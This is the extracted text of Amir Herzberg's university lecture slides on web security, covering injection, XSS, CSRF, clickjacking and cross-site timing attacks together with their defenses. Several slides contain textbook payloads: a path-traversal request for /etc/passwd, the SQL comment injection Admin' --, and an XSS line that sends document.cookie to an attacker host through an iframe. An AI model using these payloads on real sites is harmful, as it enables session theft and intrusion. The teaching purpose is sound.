S4 Web Sec
S4 Web Sec
Web Security
© Amir Herzberg
Web: Actors, Objects,…
Get [Link]
Website (Cat)
Cat in Hat <html>
Cat in Hat
Get [Link]
<script…>
…
<img src=Bob…>
Get [Link]
Threats??
09/12/2025
2
Threat 1:
Rogue client attacks sites
(with or w/o user awareness) Get [Link]
Website (Cat)
Cat in Hat
Get [Link]
• Trivial, outdated:
path/directory traversal
• Classic: SQL injection
• Critical; Server-side
Javascript Injection (SSJI)
09/12/2025
3
Path/Directory Traversal
Attack
Path/Directory traversal:
Exploit GET/POST/cookie parameter:
Server prepends path of file, e.g. sends ~/mail/$[Link]
What if request is../../../etc/passwd ?
Example:
Web page contains link to:
[Link]
Attacking-client send request for:
[Link]
Special case of Mal-crafted Input Injection Attack
04/10/06
Mal-crafted Input Injection
Attacks
Attacker provides input to application:
Application `executes` input from user/adversary
Form (POST), URL (GET), cookie parameter, other headers
Optional: processing, e.g. add prefix to file name
Or, use result as (SQL) query, command, or script
Input modifies expected operation (`../etc/passwd`)
Many ways to exploit : DoS, expose, …
Many sites & systems are vulnerable
Focus: SQL injection
04/10/06
SQL Injection Attacks
Most well known, common type of injection
attacks
Exploits common web application design:
User enters fields into web form
Browser sends to server as HTTP POST (or GET)
Server uses fields to form SQL query on DB
Server reformats response as web page (to user)
Vulnerability: fields contain control chars that
modify meaning of SQL query
Example…
04/10/06
Example: vulnerable SQL
query
Web
Browser
SELECT [Link] FROM Users
Web WHERE [Link] = ‘$name’
AND password = ‘$pw’
Server
Q?
pw=LuvBob,na
Database
me=Alice SELECT [Link] FROM Users
WHERE [Link] = ‘Alice’
AND Password = ‘LuvBob’
04/10/06
Exploiting vulnerable SQL
query
SELECT [Link] FROM Users
Web WHERE [Link] = ‘$name’
Browser AND password = ‘$pw’
Web
Server
Q?
pw=xxxxxxx,na
Database
me=Admin’ -- SELECT [Link] FROM Users
WHERE [Link] = ‘Admin’ –
‘
AND Password = ‘xxxxxxx’
04/10/06
Defenses against Injection
Attacks
Injections attacks are simple, well known…
Yet - still common – in spite of good defenses…
Sanitize inputs
By application (best – if done well… depend on programmer)
By application gateway (WAF - `Web Application Firewall`)
As separate machine or code on appl server
Careful: does gateway/firewall and server interpret `input` the
same? … evasion attacks…
Suspect input detect/suspect attack if
Avoid `executing` inputs: use parameterized statement
instead
Separates data from code
04/10/06
Input Sanitation
`blacklist`: Remove/escape all control (`,”,<…) – tricky; many
chars, many encoding tricks
`whitelist`: remove all _but_ permitted chars (e.g. letters,
digits)
More secure, but: not always acceptable (e.g. O’connors)
And not always enough:
SELECT field FROM table WHERE id = 23 OR 1=1
Escape/Quotesafe: use built-in functions to avoid quotes etc.
More tricky than it seems beware of handcrafted
escaping
04/10/06
SQL Injection: `Exploits of a
Mom`
(or: when Eve is a mother)
[Link]
04/10/06
Parameterized Prepared SQL
Statements
Create SQL statement string with placeholders
Placeholder: a question mark `?` for each parameter
Prepare statement before usage
Available in most languages, e.g. Java:
Vulnerable code:
Statement s = [Link]();
ResultSet rs = [Link]("SELECT email
FROM member WHERE name = " + formField);
Using prepared statement:
PreparedStatement ps =
[Link]( "SELECT email FROM
member WHERE name = ?");
[Link](1, formField);
ResultSet rs = [Link]();
04/10/06
Server-Side JavaScript
Injection
Scripting languages popular at servers, too
Javascript ([Link]), perl, PhP, …
Server-side script injection (SSSI)
Or: server side Javascript injection (SSJI)
09/12/2025
15
Additional layers of defense…
Principle of least privilege:
limit server permissions
Add rights after login – segregate users
Never give admin rights
Apply to application server (e.g. DB) and to web server
Ensure error reports go to admin, not to
browser!
‘Knowledge is power’
And… use prepared SQL statements
04/10/06
Many other rogue-client
attacks
Unauthorized operations on or exposure of…
server’s data/configuration
data of other clients
Often due to weak identification/authentication
E.g., codes/passwords in the HTML, sequential IDs, …
Principle: do not rely on client-side code
What about the reverse: site attacks client?
09/12/2025
17
Threat 2:
Rogue site attacks client
Get [Link]
Website (Cat)
Cat in Hat <html>
Cat in Hat
Get [Link]
<script…>
…
Attack: mal-script – or
other malicious input
Defense: sandbox
See Software/system
security course (Z-day) vulnerabilities…
09/12/2025
18
Threat 3:
Cross-site attacks
Get [Link]
Website (Cat)
Cat in Hat <html>
Cat in Hat
Get [Link]
<script…>
…
<img src=Bob…>
Get [Link]
© ACROS Security
Login Cookie: foils session
fixation
Alice [Link]
/[Link]
Set-cookie: sessionid=40a4c04de
/auth uname=alice&pass=ilovebob
Cookie: sessionid=40a4c04de
/viewbalance
Cookie: sessionid=40a4c04de
“Your balance is $25,000”
Session-Fixation is prevented
Web Sessions by Cookies
client Server (Amazon)
e
Cookie file usual http request server da ntry
msg ta in
usual http response creates ID ba ba
se ck
ebay: 8734 + 1678 for user en
d
Set-cookie: 1678
Cookie file
usual http request
amazon: 1678 msg cookie- ss
ebay: 8734 specific acce
cookie: 1678
usual http response action
msg
ss
one week later:
ce
ac
Cookie file usual http request
msg
cookie-
amazon: 1678 specific
ebay: 8734 cookie: 1678
usual http response action
msg
Cookie Parameters
Example:
Server [Link] sends HTTP response header:
Set-Cookie: foo=bar; path=/; expires …
Browser echos in HTTP request header:
Cookie: foo=bar
Name (e.g. foo)
Value (e.g. bar)
Expiration date (default: till browser closes)
Path: part of site to which cookie applies
Cookie-based login ?
Cookies foil Session Fixation
Attacker can send cookie to user
but user will not send it to a
different site
C Can attacker `steal’ the cookie??
C
Cookies Security
Only send cookies to `same origin site’
Same domain (any path)
Sub-domain gets, sets parent-domain cookie
[Link] can set, get [Link]
Allows one identifier for all of [Link]
But .com can’t access [Link] cookies
Special case of Same Origin Policy (SOP) [next]
Security flags:
Secure: send only over secure (SSL) connection
HttpOnly: unavailable to scripts (even from domain)
Why? XSS (cross site scripting) attacks [Later]
Sandbox and Same Origin
Policy (SOP)
Script can:
Read/write objects of same site/origin
Including page content, cookies, …; also cached
Communicate with site (origin)
XMLhttpReq/Fetch API: http request, receive response
Script cannot:
Run native code, access local files: Sandbox
Can ask browser to upload file with user’s permission
Access via DOM objects from other sites (origins)
Communicate with other origins
Can ask browser to load objects, etc.
09/12/2025
30
Same Origin Policy (SOP)
Allow (code from) origin only access
04/10/06
JavaScript Same Origin
Policy (SOP)
JavaScript from origin only access
04/10/06
CORS: Cross-Origin Resource
Sharing
When we want to allow access
E.g., web-API to any/specific sites
CORS: http header specifying domains which
may access object
Older method: change [Link]
SOP is by [Link] (in DOM)
Object (script) from domain [Link] may access
[Link], if both pages set [Link] to
[Link]
Can only set it to higher-level domain name!
04/10/06
Access Restrictions
Restrict access: send XMLhttpReq, get response
Or: Fetch API, web-sockets, or: (applet) socket
Unrestricted: links, embedded objects (img, frame,…)
Why?? Risks of cross-domain network access:
Circumvent (cookie) access control
If browser attaches cookie (as in XMLHttpReq)
Even w/o cookie: against `Intranet/IP access control’
To expose data, cookies sent from site (even `httpOnly’)
Abuses: DoS, DNS-spoofing, scan, open proxy, other
04/10/06
DNS Rebinding and IP
Pinning
SOP restricts network access
04/10/06
Cross-Site Attacks – in spite
of SOP [Link]
[Link]
Amir Herzberg
Cross-Site Attacker Model
[Link]
[Link]
/auth
uname=alice&pass=ilovebob
Cookie: sessionid=40a4c04de
/[Link]
<IMG SRC=[Link]
addr=123 evil st & amt=$10000>
/paybill?addr=123 evil st, amt=$10000
Cookie: sessionid=40a4c04de
“OK. Payment Sent!”
CSRF Prevention: Referer / Origin
headers
Added by browser, validated by server
Referer: [Link]
Privacy concern often stripped:
By organization or user (browser pref, add-on)
By browser for HTTPS HTTP transitions
Solution? Proposed client-side enforcement:
Allowed Referrer List (ARL) from server
[Czeskis et al., WWWC’13] ]
Origin: [Link]
Less privacy concern… but still sometimes stripped
And allows attacks among pages in same site
More robust anti-CSRF defenses ?
Anti-CSRF Token
Secret sent only with same-site requests
Hidden-field in form:
<input type=hidden value=23a3af01b>
Or parameter (in URL), or dedicated header…
Use site-specific key: PRFk(sessionID)
Use with (cookie-based) sessionID…
Session-Cookie and CSRF
Token
Alice [Link]
/[Link]
Set-Cookie: sessionid=40a4c04de
<input type=hidden value=23a3af01b>
/auth uname=alice&pass=ilovebob
cookie: sessionid=40a4c04de
/viewbalance
Cookie: sessionid=40a4c04de
“Your balance is $25,000”
Cross-Site Attacker Model
[Link]
[Link]
Amir Herzberg
Cross-Site Scripting (XSS)
Site (unknowingly) serves mal-script as part of page (HTML)
Mal-script runs on Alice’s browser
As if it came from Bob bypass SOP…
May even expose cookie of Bob (if w/o HttpOnly)
[Link](‘<iframe
src=“[Link] +[Link]+’”
width=0 height=0></iframe>’);
Attacker [Link]
…<script>…
…<script>…
Cross-Site Scripting (XSS)
Site (unknowingly) serves mal-script as part of page (HTML)
Mal-script runs on Alice’s browser
As if it came from Bob bypass SOP…
May read CSRF token (from URL), then do CSRF
Prevent: send token only for requests (links) in current page?
Exercise: show attacker can circumvent
May send requests [with CSRF token, right origin!]
Defacement: offend, phishing, ads, scams, ...
…<script>…
Injecting XSS into
Response
Browser runs mal-script as if part of page
Stored XSS: served by site to all visitors
From data collected by site, e.g., metadata of auto-indexed files
Or, from input site received from web-forms (abused by attacker)
Forums, blogs, talk-back / comments, Wiki, ads, re-tweets, …
Reflected XSS:
attacker browser site browser
In-browser XSS: script in #fragment of URL
Injected XSS: via TCP injection or DNS poisoning
Both: not really received from server!
Reflected XSS
Basic problem: lack of data/code separation !
[Link]
GET [Link]
[Link]
…<img src=[Link]/xss?<script>
GET ?xss<script>echo…
Including cookies
Sanitize: allow only what you expect
Remove / escape (encode) all special characters
Encode / remove all but known Ok chars
Usability issues... Think international text
Also helps against (SQL, command) injection attacks
Harder than it seems….]
E.g., would removing all <script\> - or all ‘<‘ – suffice?
Caution: Scripts not only in
<script>!
JavaScript as scheme in URI
<img src=“javascript:alert([Link]);”>
JavaScript On{event} attributes (handlers)
From HTML 4.0
OnSubmit, OnError, OnLoad, …
Examples:
<img src=“none” OnError=“alert([Link])”>
<iframe src=`[Link] onload=`steal()`>
Defending from
reflection/stored XSS
Server / WAF: Input data validation and filtering
Unicode UTF-8
0000 0000 0xxx xxxx 0xxx xxxx (one byte)
0000 0yyy yyzz zzzz 110yyyyy 10zzzzzz (two bytes)
??? 1100000y 10zzzzzz
Get [Link]
09/12/2025
64
Clickjacking (UI Redressing)
[foils by Vitaly Shmatikov]
[Hansen and Grossman 2008]
Click
Like Claim your free
Claim your free
z-index: -1 iPad
iPad
Like
Click
slide 70
Drag-and-Drop API
Modern browsers support drag-and-drop API
JavaScript can use it to set data being
dragged and read it when it’s dropped
Not restricted by the same origin policy:
data from one origin can be dragged to a
frame of another origin
Reason: drag-and-drop can only be initiated by
user’s mouse gesture, not by JavaScript on its
own
Attack webpage
66666
66666
66666
666
slide 72
Next Generation Clickjacking”]
Solution: Frame Busting (?)
Idea: make sure web page is not loaded in an
enclosing frame Clickjacking: solved!
Does not work for FB “Like” buttons and such
if (top != self)
[Link] = [Link]
slide 73
X-Frame-Options
HTTP header sent with the page
Two possible values: DENY and
SAMEORIGIN
DENY: page will not render if framed
SAMEORIGIN: page will only render if top
frame has the same origin
slide 74
Cross-Site Attacker Model
[Link]
[Link]
Amir Herzberg
Cross-Site Side-Channels
Side-channel: beyond ‘input-output’ of system
Timing, and: power, noise, errors, …
Often used to attack cryptosystems
Web security side-channels:
Timing
What’s cached?
Or full cross-site search attack
User : user exposes his own secrets
History: detect colors of URLs via user
Spoofed-CAPTCHAs: con user into exposing private
info, displayed in frame included in page
09/12/2025
80
The Malicious CAPTCHA
Attack
Prompt to the user a CAPTCHA that
encapsulates information in which the
attacker is interested
09/12/2025
88
XS-Search: High-Level View
Cross-site search over user’s data in service
Attacker cannot access the content of the
response
Same Origin Policy
The attacker can measure the response time (T)
...<script>…
GET req
𝑻 Response
XS-Search Example: user
name
To find out whether the user is Alice or Bob…
Compare:
T(Bob): response time for ‘messages sent by Bob’
T(Alice): response time for ‘messages sent by Alice’
...<Script….>
GET q=in:sent&from:Bob
𝑻 (𝑩𝒐𝒃) Not found
GET q=in:sent&from:Alice
𝑻(𝑨𝒍𝒊𝒄𝒆) Result 1, result 2, ….
XS-Search: Basic Flow
Transform the query into a challenge request
Is the name of the user Alice?
in:sent&from:alice
Closely related to bob@[Link]?
bob@[Link]&st=100
Is she a client of SomeBank?
noreply@[Link]
Did Bob bcc Charlie to email during 2015?
from:bob&bcc:charlie&after:2015/1/1+before:2016/1/1
XS-Search: Basic Flow
Send a Challenge request
Is the name of the user Alice?
True: a Full response is returned (has some content)
False: an empty response is returned
...<Script….>
GET q=in:sent&from:Alice
𝑻(𝑪𝒉𝒂𝒍𝒍𝒆𝒏𝒈𝒆) ? Unknown response
XS-Search: Basic Flow
Send a Dummy request
Is the name of the user fdjakdhasd?
The response is expected to be empty
...<Script….>
GET q=in:sent&from:Alice
𝑻(𝑪𝒉𝒂𝒍𝒍𝒆𝒏𝒈𝒆) ? Unknown response
GET q=in:sent&from:fdjakdhasd
𝑻 (𝑫𝒖𝒎𝒎𝒚 ) Empty response
XS-Search: Basic Flow
...<Script….>
GET q=in:sent&from:Alice
𝑻(𝑪𝒉𝒂𝒍𝒍𝒆𝒏𝒈𝒆) ? Unknown response
Repeat
several GET q=in:sent&from:fdjakdhasd
times 𝑻 (𝑫𝒖𝒎𝒎𝒚 ) Empty response
Samples Samples
XS-Search: Basic Flow
Statistical Test
Samples Samples
YES NO
• The responses for the challenge • The responses for the challenge
and dummy requests are and dummy requests are
different identical
• The response for the challenge • The response for the challenge
request is full (not empty) request is empty
The name of the user is Alice The name of the user is NOT Alice
Challenges
Noise
Delays depend on several dynamically-changing factors
such as congestion and concurrent processes in client
and server
Small sample size
Most statistical tests require large samples
The attacking web-site has to take advantage of the
duration of the visit by the user (often just a few minutes)
Avoid detection and blocking (e.g., by server’s anti-DoS
defenses)
Measurement
Imprecise: network delays, using Javascript
Dealing with the Challenges
Statistical tests
Using the right statistical test is critical for efficiency
We evaluated several tests (including classical), and
developed other simple tests
Inflation techniques
Two techniques to increase the difference in the delay
between full and empty responses
Divide and conquer algorithms
Extract information from large dictionaries with low
number of requests
Improve measurements: measure time from cache
Inflation Techniques
Increase the difference of the response time
between empty and full response
Response-length inflation
‘Full’ responses usually copy fields from query
Often a few times per each entry found
Compute-time inflation
More complex processing for ‘full’ responses
Or for the empty responses
Threat 4: Puppet
Get [Link]
Website (Cat)
Cat in Hat <html>
Cat in Hat
Get [Link]
<script…>
…
<img src=Bob…>
Get [Link]
09/12/2025
99
Puppet Attacks
Puppet: mal-code from Net, running in
sandbox: (applets, scripts, Flash…)
Potential victims:
Net: Scan, DNS poisoning, TCP hijack, …
Host/user: PoW/Captcha, phishing, ads,…
Victim site/network: DoS, scan, server-attacks
[Link]
GET [Link]
[Link]
…<script>puppet</script>….
GET [Link] , GET [Link], GET [Link]…
[Link], [Link],…
04/10/06
Summary: Web-Sec Threats,
Defenses
• Threats:
• Rogue user attacks site
• Rogue site attacks user
• Cross-site attacks: attacks on user-site relationship
• Puppet: rogue script attacks user, victim sites
• Defenses…
Summary: Browser Security
Headers
• Host, Origin, Referer and XFO
• DNS rebinding, CSRF and Clickjacking
• Content Security Policy (CSP)
• XSS
• HTTP Strict Transport Security (HSTS)
• Force a site to only load in HTTPS (no HTTP)
• HTTP Public Key Pinning (HPKP)
• Whitelist allowable certs to improve PKI
security